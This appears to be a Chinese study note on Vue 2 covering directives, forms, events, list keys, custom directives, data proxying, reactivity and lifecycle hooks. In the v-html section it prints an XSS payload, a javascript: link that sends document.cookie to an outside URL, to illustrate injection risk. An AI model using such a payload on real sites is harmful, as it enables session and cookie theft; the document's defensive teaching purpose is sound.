Vue2

直接下载并用 <script> 标签引入,Vue 会被注册为一个全局变量

<body>
	<div id="app">
	
	</div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
	/*创建Vue实例*/
	const myVue = new Vue({
		template : '<h1>Hello Vue!</h1>',
	});
    
	/*将vue实例挂载到id='app'的位置
	* #app是ID选择器
	* */
	//myVue.$mount('#app');
	myVue.$mount(document.getElementById('#app'));

如果直接调用Vue()方法:


Vue框架要求options参数必须是一个纯粹的JS对象,在 {} 中可以给Vue实例大量的key : value 配置项

  • template配置项:模板,用来指定模板语句

选项

data 数据对象

模板语句的数据来源:data配置项

数据对象在模板语句中使用需要使用插值表达式 {{}},其中写data的key

<body>
	<div id="app">
	
	</div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
	new Vue({
		template : '<h1>{{  name  }},{{releaseTime}}</h1>',
		data : {
			name : 'zhangsan',
			releaseTime : '2023/1/1'
		}
	}).$mount('#app');
  • data的property可以是引用类型
new Vue({
    template : '<h1>{{infos.email}},{{actors[0].name}}</h1>',
    data : {
        name : 'zhangsan',
        releaseTime : '2023/1/1',
        infos : {
            email : 'bike1987kn@163.com',
            age : 20,
        },
        actors : [
            {
                name : 'actors1',
                age : 20,
            },
            {
                name : 'actors2',
                age : 22,
            },
        ],
    }
}).$mount('#app');

template 模板语句

Vue2中,模板语句只能有一个根元素:

如果有两个根元素就会报错:

可以将根元素设置为一个div:

只要data数据对象中的数据发生变化,模板语句就会重新编译

目前来说,如果使用template配置项,挂载位置的元素内容会被忽略;但是可以不使用template指定模板语句,这些模板语句可以直接写在html标签中

插值语法

	<div id="app">
		<h1>{{name}}</h1>
	</div>

div#app中的内容就是模板语句,其中的插值语法只是模板语句的语法之一

插值表达式中可以写:

  1. data数据对象的property(可以是方法)

    如果在调用时省略(),就会将方法体渲染到浏览器

  2. 常量 – 字面量

  3. 合法的JavaScript表达式

  1. 全局变量白名单

      const allowedGlobals = makeMap(
        'Infinity,undefined,NaN,isFinite,isNaN,' +
        'parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,' +
        'Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,' +
        'require' // for Webpack/Browserify
      )
    

指令语法

Vue框架中的所有指令都是以HTML标签的属性形式存在的 <HTML标签名 v-指令名:参数=表达式>

表达式:JavaScript表达式,与插值语法相同(data数据对象的property、常量、合法的JavaScript表达式)

v-once 不需要参数,不需要表达式

v-if 不需要参数,需要表达式

Vue中的指令按照用途可以分为6大类:

  1. 内容渲染指令
  2. 属性绑定指令
  3. 事件绑定指令
  4. 双向绑定指令
  5. 条件渲染指令
  6. 列表渲染指令
内容渲染指令

用来辅助开发者渲染DOM元素的文本内容,常见的内容渲染指令有如下三个:

  • v-text

  • {{}}:解决v-text会覆盖默认文本内容的问题;插值表达式:Mustache

  • v-html:可以渲染HTML标签

    <!--把 username 对应的值,渲染到第一个 p 标签当中-->
    <p v-text = "username"></p>

    <!--把 gender 对应的值,渲染到第二个 p 标签当中-->
    <!--注意:第二个 p 标签中,默认的文本会被gender的值覆盖掉-->
    <p v-text = "gender">性别</p>

注意:插值表达式只能应用到元素的内容节点中,不能动态为元素的属性绑定值

留言板功能

点击保存,将文本框中的内容保存到messageList中,messageList发生改变模板语句就会重新编译

<div id="app">
   <h1 v-text="msg"></h1>
   <ul>
      <li v-for="(m,i) in messageList" :key="i" v-html="m"></li>
   </ul>
   <textarea cols="30" rows="10" v-model.lazy="message"></textarea>
   <button @click="save">保存留言</button>
</div>
<script>
   const vm = new Vue({
      el : '#app',
      data : {
         msg : '留言板',
         messageList : [],
         message : ''
      },
      methods : {
         save(){
            this.messageList.push(this.message);
            this.message = '';
         }
      }
   })
</script>

但是使用v-html可能会被注入:

可能有恶意代码获取到cookie,点击链接会将cookie提交给恶意服务器,就可以模拟用户行为进行登录

XSS攻击:通过网页开发时留下的漏洞,将恶意代码注入到网页,使用户加载并执行攻击者恶意制造的网页程序

假设用户本地有cookie:

提交的恶意数据:

<a href="javascript:location.href='http://www.baidu.com?' + document.cookie">点我</a>

点击之后:

v-html不要用到用户提交的内容上,可能会导致XSS攻击

属性绑定指令

如果要为元素的属性动态绑定属性值,就需要用到v-bind属性绑定指令

编译前:<HTML标签名 v-指令名:参数=表达式>

编译后:<HTML标签名 参数=表达式的执行结果> 参数名会被编译为属性名

data中的数据每次更新都会导致表达式执行结果改变,表达式结果改变会让模板语句重新编译,也就达到了动态绑定的效果

v-bind:单向数据绑定

<body>
	<div id="app">
		<span v-bind:value="msg">Hello Vue</span>
		<!--等同于-->
		<span value = 'Hello Vue!'></span>
	</div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
	new Vue({
		el : '#app',
		data : {
			msg : 'Hello Vue!',
		}
	});
</script>

动态切换图片:

<body>
	<div id="app">
		<img v-bind:src="src">
	</div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
	new Vue({
		el : '#app',
		data : {
			src : '../img/1.jpg',
		}
<!--
                inputValue:"请输入内容",
                imgSrc:"../images/dog.png",
-->

<div id="app">
    <input type="text" v-bind:placeholder="inputValue">
    <hr>
    <img v-bind:src="imgSrc" alt="">
</div>

由于v-bind在开发中使用的效率非常高,vue官方提供了简写形式 : :placeholder="inputValue"

动态绑定样式

  • 对象语法:样式、样式个数固定,是否使用不固定

我们可以传给 v-bind:class 一个对象,以动态地切换 class:

<div v-bind:class="{ active: isActive }"></div>

上面的语法表示 active 这个 class 存在与否将取决于数据 property isActivetruthiness

你可以在对象中传入更多字段来动态切换多个 class。此外,v-bind:class 指令也可以与普通的 class attribute 共存。当有如下模板:

<div
  class="static"
  v-bind:class="{ active: isActive, 'text-danger': hasError }"
>

</div>

和如下 data:

data: {
  isActive: true,
  hasError: false
}

结果渲染为:

<div class="static active"></div>

isActive 或者 hasError 变化时,class 列表将相应地更新。例如,如果 hasError 的值为 true,class 列表将变为 "static active text-danger"

绑定的数据对象不必内联定义在模板里:

<div v-bind:class="classObject"></div>
data: {
  classObject: {
    'active': true,
    'text-danger': false
  }
}

渲染的结果和上面一样。我们也可以在这里绑定一个返回对象的计算属性。这是一个常用且强大的模式:

<div v-bind:class="classObject"></div>
data: {
  isActive: true,
  error: null
},
computed: {
  classObject: function () {
    return {
      active: this.isActive && !this.error,
      'text-danger': this.error && this.error.type === 'fatal'
    }
  }
}
  • 数组语法:

我们可以把一个数组传给 v-bind:class,以应用一个 class 列表:

<div v-bind:class="[activeClass, errorClass]"></div>
data: {
  activeClass: 'active',
  errorClass: 'text-danger'
}

渲染为:

<div class="active text-danger"></div>

如果你也想根据条件切换列表中的 class,可以用三元表达式:

<div v-bind:class="[isActive ? activeClass : '', errorClass]"></div>

这样写将始终添加 errorClass,但是只有在 isActive 是 truthy时才添加 activeClass

不过,当有多个条件 class 时这样写有些繁琐。所以在数组语法中也可以使用对象语法:

<div v-bind:class="[{ active: isActive }, errorClass]"></div>
条件渲染指令
  • v-once: 只渲染元素和组件一次。随后的重新渲染,元素/组件及其所有的子节点将被视为静态内容并跳过。这可以用于优化更新性能。

  • v-if:动态创建或移除DOM元素,从而控制元素在页面上的显示或隐藏

  • v-show:动态为元素添加:display : none样式,从而控制元素的显示与隐藏

<body>

<div id="app">
	<button @click="flag = !flag">toggle</button>
	<p v-if="flag">请求成功--被v-if控制</p>
	<p v-show="flag">请求成功--被v-show控制</p>
</div>

----------------------------
	Vue.createApp({
		data(){
			return {
				flag : false,
			}
		}
	}).mount("#app");

v-if会移除元素:

v-if有更高的切换开销,而v-show有更高的初始渲染开销(如果为false就需要多渲染一个不必展示的元素)

  • 如果需要频繁切换显示,使用v-show
  • v-else:可以配合v-if使用
<div id="app">	
	<div v-if="num > 0.5">随机数 > 0.5</div>
	<div v-else>随机数 < 0.5</div>
</div>
---------------------------------------------------
<script>
	Vue.createApp({
		data(){
			return {
				num : Math.random(),
			}
		}
	}).mount("#app");

  • v-else-if
双向绑定指令

vue提供了 v-model双向数据绑定指令,用来辅助开发者在不操作DOM的前提下快速获取表单的数据

  • v-bind:单向数据绑定 data变化会更新视图

  • v-model:双向数据绑定 data变化会更新视图,视图变化会更新data

v-model只能配和表单元素一起使用

完整形式:v-model:value="表达式"

简写:v-model="表达式"

如果是checkbox,v-model会绑定在checked属性上

v-bind与v-model的区别:

<body>
   <div id="app">
      v-bind : <input type="text" name="" :value="name1"> <br>
      v-model : <input type="text" name="" v-model:value="name2">
   </div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
   new Vue({
      el : '#app',
      data : {
         name1 : 'zhangsan',
         name2 : 'wangwu'
      }
   });

因为表单类的元素才有value属性,v-model一定会绑定在value属性上

	<p>用户名是:{{username}}</p>
	<input type="text" v-model="username" >
	
	<p>选中的省份是:{{province}}</p>
	<select v-model="province">
		<option value="">请选择</option>
		<option value="1">北京</option>
		<option value="2">上海</option>
		<option value="3">深圳</option>
	</select>
-----------------------------------------------------------
		data(){
			return {
				username : "zhangsan",
				province : "1",
			}
		}
收集表单数据

表单

<div id="app">
	<form @submit.prevent="send">  <!--阻止默认行为-->
		用户名: <input type="text" v-model.trim="username"> <br>
		密码: <input type="password" v-model="password"> <br>
		年龄: <input type="number" v-model.number="age"> <br>
		性别:
				男<input type="radio" name="gender" value="male" v-model="gender">
				女<input type="radio" name="gender" value="female" v-model="gender"> <br>
		爱好:
			旅游<input type="checkbox" v-model="interest" value="travel"> 
        <!--如果没有指定value 会使用checked的值代表value-->
			运动<input type="checkbox" v-model="interest" value="sport">
			唱歌<input type="checkbox" v-model="interest" value="sing"> <br>
		学历:
		<select v-model="grade">
			<option value="">请选择学历</option>
			<option value="zk">专科</option>
			<option value="bk">本科</option>
			<option value="ss">硕士</option>
		</select> <br>
		简介: <textarea cols="50" rows="15" v-model="introduce"></textarea> <br>
		<input type="checkbox" v-model="accept"> 阅读并接受协议 <br>
		<button @click.prevent="send">注册</button>  <!--阻止默认行为-->
	</form>
</div>
<script>
	const vm = new Vue({
		el : '#app',
		data : {
			username : '',
			password : '',
			age : 0,
			gender : 'male',
			interest : ['sport'],
			grade : 'ss',
			introduce : '',
			accept : ''
		},
		methods : {
			send(){
				alert('ajax');
				console.log(JSON.stringify(this.$data));
			}
		},
		computed : {
		},
	})

收集的数据:

{"username":"zhangsan","password":"123","age":18,"gender":"male","interest":["sport","travel"],"grade":"ss","introduce":"i am zhangsan","accept":true}

但是最好将这些数据封装在user对象中:

修饰符 作用 示例
.number 自动将输入的值转换为数值类型 <input v-model.number = “age">
.trim 自动过滤用户输入的首位空白字符 <input v-model.trim = “msg">
.lazy 在‘change’而非‘input’时更新 <input v-model.lazy = “msg">
事件绑定指令

vue提供了v-on事件绑定指令,用来辅助程序员为DOM元素绑定事件监听,语法格式如下:

v-on:事件名称="事件处理函数名()"

注意:原生DOM对象有onclick、oninput、onkeyup等原生事件,替换为vue的事件绑定形式后,分别为:

v-on:click v-on:input v-on:keyup,

通过v-on绑定的事件处理函数,需要在methods节点中进行声明:

<div id="app">
	<p v-text="count"></p>
	<button v-on:click="addCount()">+1</button>
</div>
<script !src="">
	Vue.createApp({
		data(){
            return{
                count:0,
                }
            }
        },
        methods:{
            addCount(){ //事件处理函数的名字
                //this表示当前vm示例对象,通过this可以访问到data中的数据
                this.count++;
            }
        }
    }).mount("#app");
</script>

Vue提供了简写形式:将v-on:替换为 @

如果业务逻辑很简单,也可以通过行间事件的形式进行操作:

<div id="app">
	<p v-text="count"></p>
	<button v-on:click="count++">+1</button>
</div>
<script src="./js/vue3.js"></script>
<script !src="">
	Vue.createApp({
		data(){
			return{
				count : 0,
			}
		},
		methods:{
		}
	}).mount("#app");
</script>

注意:表达式位置只能写常量、JS表达式、Vue实例管理的内容、全局白名单,不能直接写alert,alert不属于全局白名单

事件对象 event

在原生的DOM事件绑定中,可以在事件处理函数的形参处,接收事件对象event。同理,在v-on指令@所绑定的事件处理函数中,同样可以接收到事件对象event,示例代码如下:

<div id="app">
	<p v-text="count"></p>
	<button @click="addCount">+1</button> <!--能带括号吗?-->
</div>

<script src="./js/vue3.js"></script>
<script !src="">
	Vue.createApp({
		data() {
			return {
				count: 0,
			}
		},
		methods: {
			addCount(e) { //接收事件参数对象 event 简写为e
				console.log(e);//PointerEvent
				console.log(e.target.style.backgroundColor);//没有输出,也就是没有背景颜色
				const nowBgColor = e.target.style.backgroundColor;
				e.target.style.backgroundColor = nowBgColor == 'red' ? '' : 'red';				
				this.count += 1;
			}
		}
	}).mount("#app");
</script>
  • 使用e.target可以访问到目标元素

在Vue中,当一个元素(如一个按钮)被点击时,浏览器会自动创建一个事件对象,并将它作为参数传递给绑定的方法。事件对象包含了许多有用的信息,如事件类型、目标元素等。

在这个示例中,我们想要在按钮被点击时改变该按钮的样式,因此我们需要访问该按钮的style属性。我们可以通过event.target来访问目标元素,即被点击的按钮,然后使用.style来访问它的样式属性。

在使用v-on指令绑定事件时,可以使用()进行传参,示例代码如下:

每次点击count按钮,都希望count值按照参数进行增加

事件回调函数中的this指向了vm实例

<h3>count的值为:{{count}}</h3>
<button @click="addNewCount(2)"> +val </button>
-----------------------------------------------------
methods:{
	addNewCount(step){
		this.count += step;
	}
}

如果要求:在点击按钮count值增加后希望按钮变色;想在addNewCount(step)的参数中再增加一个参数e是不可行的,这样接收不到事件参数。

Vue提供了一个特殊的变量:$event,用来表示原生的事件参数对象event。$event可以解决事件参数对象event被覆盖的问题:

<h3>count的值为:{{count}}</h3>
<button @click="addNewCount(2,$event)"> +val </button>
-----------------------------------------------------
methods:{
	addNewCount(step,e){
		this.count += step;
		const nowBgColor = e.target.style.backgroundColor;
		e.target.style.backgroundColor = nowBgColor == "" ? "red" : "";
	}
}

如果回调函数写成箭头函数,this就指向了父级作用域中的window

事件修饰符

在事件处理函数中调用preventDefault()stopPropagation()是非常常见的需求。因此,Vue提供了事件修饰符的概念,简化了对事件触发进行控制的操作

事件修饰符 说明
.prevent 阻止默认行为(a跳转、表单提交)
.stop 阻止事件冒泡
.capture 以捕获模式触发当前的事件处理函数
.once 绑定的事件只触发一次
.self 只有在event.target是当前元素自身时触发事件处理函数

阻止默认行为:

使用事件修饰符:




按键修饰符

在监听键盘事件时,我们经常需要判断详细的按键,此时可以为键盘相关的事件添加按键修饰符,例如:

	<input type="text" @keyup.enter = "submit">
	<input type="text" @keyup.esc = "clearInput">
--------------------------------------------------
		methods:{
			submit(e) {
				console.log('按下了enter键,最新的值是:' + e.target.value);
			},
			clearInput(e){
				e.target.value = "";
			}
		}
	

tap无法触发keyup事件

获取某个按键的按键修饰符:

  1. 通过event.key获取这个键的真实名字
  2. 将这个真实名字以kebab-case风格进行命名

比如PageDown按键:page-down

按键修饰符是可以通过全局配置对象自定义的:

Vue.config.keyCodes.按键修饰符的名字 = 键值
Vue.config.keyCodes.backCar = 13;

四个比较特殊的按键:

  • ctrl

    • keydown:只要按下ctrl,keydown就会触发

    • keyup:按下ctrl + 组合键,松开组合键 keyup才会触发

      限定ctrl + i才能触发:@keyup.ctrl.i

  • alt

  • shift

  • meta/win

列表渲染指令

vue提供了v-for指令,进行基于一个数组来循环渲染相似的UI结构;v-for需要使用item in items语法,其中:

  • items :待循环的数组
  • item :当前的循环项
<body>
   <div id="app">
      <ul>
         <li v-for="(user,index) in list" :key="user.id">姓名是:{{user.name}}</li>
      </ul>
   </div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
   const vm = new Vue({
      el : '#app',
      data : {
         list : [
            {id : 1,name : "zhangsan"},
            {id : 2,name : "lisi"},
         ],
      },
   })
</script>
Tap选项卡
<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <title>Title</title>
   <style>
      .tt{
         display: flex;
         }

      .tt>span{
         padding: 0px 40px;
         background-color: #eee;
         margin: 8px;
         }
      .tt .cur{
         background-color: #039;
         color: #ffffff;
         font-weight: bold;
         letter-spacing: 3px;
         }
      .tc{
         width: 500px;
         padding: 20px;
         background-color: #eeeeee;
         }
   </style>
</head>
<body>

<div id="app">
   <div class="tap">
      <div class="tt">
         <!--鼠标经过title之后改变当前的index-->
         <span v-for="(v,i) in arr" @mouseover="index = i" :class="{cur: i == index}">{{v.title}}</span>
      </div>
      <!--根据index和v-show控制当前显示的页面-->
      <div class="tc" v-for="(v,i) in arr" v-show="index == i">
         <p v-for="i in 8">{{i + v.content}}</p>
      </div>
   </div>
</div>


<script src="js/vue3.js"></script>
<script>
   
   //创建Vue核心对象
   Vue.createApp({
      data(){
         return {
            arr : [
               {title : "新闻",content : "这是一个数组"},
               {title : "财经",content : "财经的内容"},
               {title : "娱乐",content : "娱乐的内容"},
            ],
            index : 0, /*当前页面*/
         }
      }
   }).mount("#app");


</script>
</body>
</html>
  • 遍历对象
<h2>遍历对象</h2>
<template v-for="(propertyValue,propertyName) of user">{{propertyName}}:{{propertyValue}}<br> </template>
  • 遍历字符串
		<h2>遍历字符串</h2>
		<template v-for="(c,index) of 'hello world'">{{index}} : {{c}} </template>
  • 遍历指定的次数
		<h2>遍历指定次数</h2>
		<template v-for="(num,index) of 10">{{index}} : {{num}} </template>
虚拟dom与diff算法

如果要更新 “萨尔” ,data数据改变,模板语句div重新渲染;但是其他的选项是没有发生改变的,重新渲染不变的内容效率太低了

虚拟DOM:内存当中的DOM对象

diff算法:快速比较出两个事物不同之处的算法

如果没有指定 :key,默认会使用中的index做为key,key就是这个虚拟dom的唯一标识

如果内存中数据发生变化,先比较key

在对比到key = ‘3’ 时,发现结构中 萨尔 与 麦文 不同,会根据新的虚拟DOM中的结构创建一个新的DOM元素并渲染

  • 采用index作为key的问题:

增加一个按钮,点击按钮在数组第一个位置上新增一个元素

methods : {
    add(){
        this.heros.unshift({id:'105',name:'麦文',power:9100})
    }
}

这样做就使得每个选项与之前生成的DOM结构匹配不上,2 * n的结构需要从新的虚拟DOM中生成,效率太低

还有一个问题,这样做会导致列表的状态无法正确更新:

点击之后,真实DOM中的元素被选中了,但是虚拟DOM中的check未被选中;此时在数组第一个位置新建一个元素,diff算法在比较checkbox的时候,发现完全相同,直接复用旧的checkbox,也就导致新建的元素被选中了

向非末尾位置添加元素都会存在这个位置

建议使用对象的id作为key

使用id作为key:比较id时,新虚拟DOM的第一个元素直接创建(id不存在),其余元素比较之后如果相同直接复用

vue2:使用key维护列表的状态

当列表的数据变化时,默认情况下,vue会尽可能的复用已存在的DOM元素,从而提升渲染的性能,但是这种默认的性能优化策略会导致有状态的列表无法被正确更新

如果此时点击添加按钮:

为了给vue一个提示,以便它能跟踪每个节点的身份,从而保证在有状态的列表被正确更新的前提下提升渲染的性能,需要为每项提供唯一的key属性:

	<ul>
		<li v-for="(user, index) in userlist" :key="user.id">
			<input type="checkbox" />
			姓名:{{user.name}}
		</li>
	</ul>

注意:、使用index作为key是没有意义的,在上例中假设以index作为key,并且选中列表第一项zhangsan,此时vue2得到的状态是:index = 0的项被选中;使用unshit方法在数组中添加了一个元素aaa,aaa的index被更新为0,导致aaa被选中

列表的过滤和排序
  • 过滤

用户输入keyword,从当前json(数组)中查找出匹配的条目显示

也可以不使用mounted,设置watch的初始化监听为true

但是这个代码比较复杂,使用计算属性可以简化:

<script>
	const vm = new Vue({
		el : '#app',
		data : {
			msg : '虚拟dom与diff算法',
			heros : [
				{id:'101',name:'艾格文',power:10000},
				{id:'102',name:'麦迪文',power:9000},
				{id:'103',name:'古尔丹',power:8000},
				{id:'104',name:'萨尔',power:6000}
			],
			keyword : '',
		},
		computed : {
			filteredHeros(){
				return this.heros.filter((hero)=>{
					return hero.name.match(this.keyword); //keyword发生改变,计算属性重新计算,返回新的数组
				})
			}
		},
	})

不需要额外定义数组变量

  • 排序

其他指令
  • v-cloak : 配合CSS解决插值语法的闪现问题

如果页面加载时网络较慢,js文件未加载完毕,插值语法中的内容就会闪现

可以使用setTimeOut演示:

	setTimeout(()=>{
		var element = document.createElement('script');
		element.src = '../js/vue.js';
		document.head.append(element);
	},1000 * 3);
	setTimeout(()=>{
		const vm = new Vue({
			el: '#app',
			data: {
				msg : 'hello world',
			}
		});
	},1000 * 4)

解决:

加载完毕会删除v-cloak指令,所有元素显示

  • v-once :初次渲染时只加载一次
  • v-pre:带有指令的标签不会被编译,可以使用在与vue相关语法无关的标签中,提高速度

自定义指令

希望有一个指令,将内容提取出来渲染到标签体中并显示为红色

使用配置项

<div id="app">
   <h1 v-text-danger="msg"></h1>
</div>
<script>
   const vm = new Vue({
      el: '#app',
      data: {
         msg : 'hello'
      },
      directives : {
         /*回调函数调用时机
         * 1. 第一次绑定
         * 2. 模板重新解析
         * 回调函数参数:
         * 1. DOM元素
         * 2. 标签与指令绑定关系对象
         * */
         'text-danger' : function (dom,binding) {
            dom.innerText = binding.value; //value是数据
            dom.style.color = 'red';
         }
      }
   })

自定义指令:与v-bind完成相同的功能,并且将该元素的父级元素设置为蓝色

这样做是不行的,dom.parentNode是null;回调函数第一次执行在标签与指令绑定时执行,只是内存方面的绑定,在网页中没有真实存在,父级元素为空。

对象式定义指令:

		directives : {
			'bind-blue' : {
				//元素与指令初次绑定自动调用bind
				bind(element,binding){
				
				},
				//元素插入到页面之后自动调用inserted
				inserted(element,binding){
				
				},
				//模板重新解析函数自动调用
				update(element,binding){
				
				}
			}
		}

特定时间自动执行的函数一般被称为钩子函数

此时定义的指令是局部指令,定义全局指令需要在创建vue对象之前:

  • 函数式

  • 对象式

自定义指令中的this是window

el 替换$mount

	new Vue({
		el : '#app',
		data : {
			msg : 'Hello Vue!',
		}
	});

容器和Vue实例的关系

  • 一个Vue实例只能接管一个容器

结果:

一个Vue实例只能接管一个容器

  • 一个容器只能被一个Vue实例接管

一个容器只能被一个Vue实例接管

全局配置

MVVM

M : 模型 / 数据

V:View 视图

VM : ViewModel 视图模型 VM是MVVM的核心部分

数据驱动视图:在使用了vue的页面中,vue会监听数据的变化,从而自动重新渲染页面的结构,示意图如下:

			自动渲染        				变化
[页面结构] <--------- [vue:监听数据的变化] <------- [页面所依赖的数据]

注意:数据驱动视图是单向数据绑定

双向数据绑定:在填写表单时,双向数据绑定可以辅助开发者在不操作DOM的前提下,自动把用户填写的内容同步到数据源中:

  • MVVM的工作原理:ViewModel作为MVVM的核心,将当前页面的数据源Model和页面的结构View连接在了一起

假设Model和View不分离,使用原生JacaScript代码写项目:如果数据发生任意的改动,需要写大量的JS代码操作DOM元素

VM核心自动更新View和Model

经常会使用vm表示Vue实例

vm对象

通过Vue实例可以访问的属性:

  • 以 $ 开始的属性是公开的属性
  • 以 _ 开始的属性是私有的属性

在vm实例中还有一个属性:

这是data数据对象中的property:msg

可以将数据对象拆分开:

msg属性是dataObj对象的属性,为什么通过vm对象可以访问msg属性?

因为vue框架底层使用了数据代理机制

Object.defineProperty()

给对象新增属性,或设置对象原有的属性

Object.defineProperty(
	新增对象,
    '属性名',
    {
        配置项
    }
)

需要设置writeable:true 指定该属性是可以修改的

getter/setter方法配置项:

但是指定了setter/getter之后,不能再指定value和writeable

getter方法的返回值就代表了这个属性值,对getter方法设置返回值:

但是getter方法的返回值必须是动态的。

setter方法应该是有参数的,参数就是赋值时传递的数据

如果这样设置getter/setter方法:

这样做是不行的,return this.value 会递归的调用getter方法,this.color = val 会递归的调用setter方法

解决办法:设置临时变量,设置时为临时变量设置值,读取时返回临时变量的值

数据代理机制

通过访问代理对象的属性间接访问目标对象的属性

数据代理机制的实现需要依靠Object.defineProperty()方法

访问代理对象 proxy 的 name 属性,就访问到了 target 对象的 name 属性

vm就是proxy对象,通过数据代理机制就可以在vm上间接的访问到target的name

所以可以通过vm访问到目标对象的属性

ES6 : 对象中的方法 :function可以省略

访问proxy:

数据代理机制对属性名的要求

查看vm:

Vue不会对以 $ _ 开始的属性名做数据代理,但是可以通过vm.$data访问

vm.$data就是目标对象

数据代理机制的实现

遍历对象可以使用Object.keys 返回对象中所有的属性名

class Vue{
	constructor(options) {
		Object.keys(options.data).forEach((propertyName)=>{
			if (propertyName[0] != '_' && propertyName[0] != '$'){
				Object.defineProperty(this,propertyName,{
					get() {
						return options.data[propertyName];
					},
					set(val) {
						options.data[propertyName] = val;
					}
				})
			}
		})
	}
}

源代码:

function Vue(options) {
  if (!(this instanceof Vue)) {
      warn$2('Vue is a constructor and should be called with the `new` keyword');
  }
  this._init(options);
}
//进入init方法
function _init(options){
    //将options合并入$options
	vm.$options = mergeOptions(resolveConstructorOptions(vm.constructor), options || {}, vm);
    /* ... */
    initState(vm);
}
//进入initState方法
function initState(vm) {
  var opts = vm.$options;
  if (opts.props)
      initProps$1(vm, opts.props);
  initSetup(vm);
  if (opts.methods)
      initMethods(vm, opts.methods); // 初始化方法
  if (opts.data) {
      initData(vm);   //初始化数据
  }
  else {
      var ob = observe((vm._data = {}));
      ob && ob.vmCount++;
  }
  if (opts.computed)
      initComputed$1(vm, opts.computed);
  if (opts.watch && opts.watch !== nativeWatch) {
      initWatch(vm, opts.watch);
  }
}

//初始化数据
function initData(vm) {
  var data = vm.$options.data; //options中的data数据对象 原始对象
  data = vm._data = isFunction(data) ? getData(data, vm) : data || {}; //将数据对象赋值给vm._data
  if (!isPlainObject(data)) {
      data = {};
      warn$2('data functions should return an object:\n' +
              'https://v2.vuejs.org/v2/guide/components.html#data-Must-Be-a-Function', vm);
  }
  // proxy data on instance
  var keys = Object.keys(data);  //获取数据对象所有的key
  var props = vm.$options.props;
  var methods = vm.$options.methods;
  var i = keys.length;
  while (i--) {
      var key = keys[i];  //属性名
      {
          if (methods && hasOwn(methods, key)) {
              warn$2("Method \"".concat(key, "\" has already been defined as a data property."), vm);
          }
      }
      if (props && hasOwn(props, key)) {
          warn$2("The data property \"".concat(key, "\" is already declared as a prop. ") +
                  "Use prop default value instead.", vm);
      }
      else if (!isReserved(key)) {  //判断首字符
          proxy(vm, "_data", key); // 进入数据代理方法 _data是原始对象
      }
  }
  var ob = observe(data);
  ob && ob.vmCount++;
}
//代理方法

  var sharedPropertyDefinition = {
      enumerable: true,    // 可迭代的
      configurable: true,  // 可删除的
      get: noop,
      set: noop
  };
			//  vm      _data     age
function proxy(target, sourceKey, key) {
  sharedPropertyDefinition.get = function proxyGetter() {
      return this[sourceKey][key];
  };
  sharedPropertyDefinition.set = function proxySetter(val) {
      this[sourceKey][key] = val;
  };
  Object.defineProperty(target, key, sharedPropertyDefinition);
}

可以得知,_ data是原始数据对象,Vue底层如果需要直接获取目标对象的数据就可以使用_data

  • vm._data.age 不会走数据代理机制
  • vm.age 走数据代理机制

还有一个$data属性,这个属性也是原始数据对象,可以绕过数据代理机制

methods实现原理

通过vm也是可以访问methods中的方法的:

但是不会为方法做数据代理:

实现原理:

		//获取所有方法名
		Object.keys(options.methods).forEach((methodName)=>{
			//为vm实例扩展一个方法
			this[methodName] = options.methods[methodName];
		});

响应式与数据劫持

响应式:数据对象更改,页面自动刷新

Vue的响应式是通过数据劫持实现的

数据代理对应的是getter方法,数据劫持对应的是setter方法

这些属性都是做了数据劫持

  • 动态追加给对象的属性会做数据劫持吗?

查看:

并未对直接扩展的属性做数据代理和数据劫持

使用Vue.set(对象,属性名, 属性值)

	const vm = new Vue({
		el: '#app',
		data: {
			user : {
				phone : '',
			}
		},
	});
	Vue.set(vm.$data.user,'email','bike1987kn@163.com');

这样添加的属性会做数据代理和数据劫持

也可以使用vm.$set(对象,属性名, 属性值)

注意:不能直接为vm和date追加响应式属性,如果要追加必须预先声明

  • 数组的响应式处理

数组本身是响应式的,但是字符串数组中的索引位置元素没有响应式处理

通过下标修改元素无法响应式更新:

对于JSON数组:

也是无法完成响应式更新的,但是JSON对象的属性是有响应式处理的

访问name属性:

使得通过下标修改数组元素具有响应式

  • 第一种方案:
  1. vm.$set(数组对象,下标,值)
  2. Vue.set(数组对象,下标,值)

  • 第二种方案:
push()
pop()
reverse()
splice()
shift()
unshift()
sort()

Vue对这七个方法进行了动态代理

Vue的生命周期

​ 组件的生命周期:创建 -> 运行 -> 销毁

监听组件的不同时刻:Vue内置的不同时刻的生命周期函数,生命周期函数会伴随着组件的运行而自动调用。

  1. 组件在内存中创建完毕之后,自动调用created函数
  2. 组件被成功渲染到页面上时,会自动调用mounted函数
  3. 组件被销毁完毕后,会自动调用unmounted函数
Vue.createApp({
		data(){
			return {
				count : 0,
			}
		},
		methods: {
			add(){this.count++;}
		},
    	//初始阶段
		beforeCreate(){		}, //数据代理和数据监测创建前
		created(){		}, //数据代理创建完毕,此时才能访问data和methods
    	//挂载阶段
		beforeMount(){		},
		mounted(){		}, //组件在页面上 第一次 渲染完毕
    	//更新阶段
		beforeUpdate(){		},
		updated(){		}, //组件在页面上 重新 渲染完毕
    	//销毁阶段
    	beforeUnmount(){		},  
    	unmounted(){  		},//销毁完毕 - > 隐藏
	}).mount("#app");
生命周期函数 执行时机 所属阶段 执行次数 应用场景
beforeCreate 内存开始创建组件之前 创建阶段 1次 无法访问data
created 组件在内存中创建完毕(数据代理的创建) 创建阶段 1次 发ajax请求初始数据
beforeMount 组件初次在页面上渲染之前 挂载阶段 1次 无法操作DOM
mounted 组件初次在页面中渲染完毕 挂载阶段 1次 可以操作DOM元素
beforeUpdate 组件在页面上重新渲染之前 运行阶段 0次或多次 虚拟DOM准备就绪
updated 组件在页面中重新渲染完毕 运行阶段 0次或多次 虚拟DOM渲染为真实DOM
beforeUnmount 组件被销毁之前 销毁阶段 1次
unmounted 组件被销毁 销毁阶段 1次
nextTick() 下一次DOM渲染时执行

所以操作DOM元素在mounted阶段才是有效的

手动调用方法才能进入销毁阶段

destoryed时vm上的所有监视器、子组件、自定义监听器、指令都被卸载

2.7.14 移除所有监听器 低版本移除自定义监听器

在before….中:

在destroyed中:

虽然在before…中监视器仍然处于绑定关系,但是此时实际上是不能使用的。

在before…中对数据进行修改,只是内存中的数据发生变化,页面上的数据不会被修改

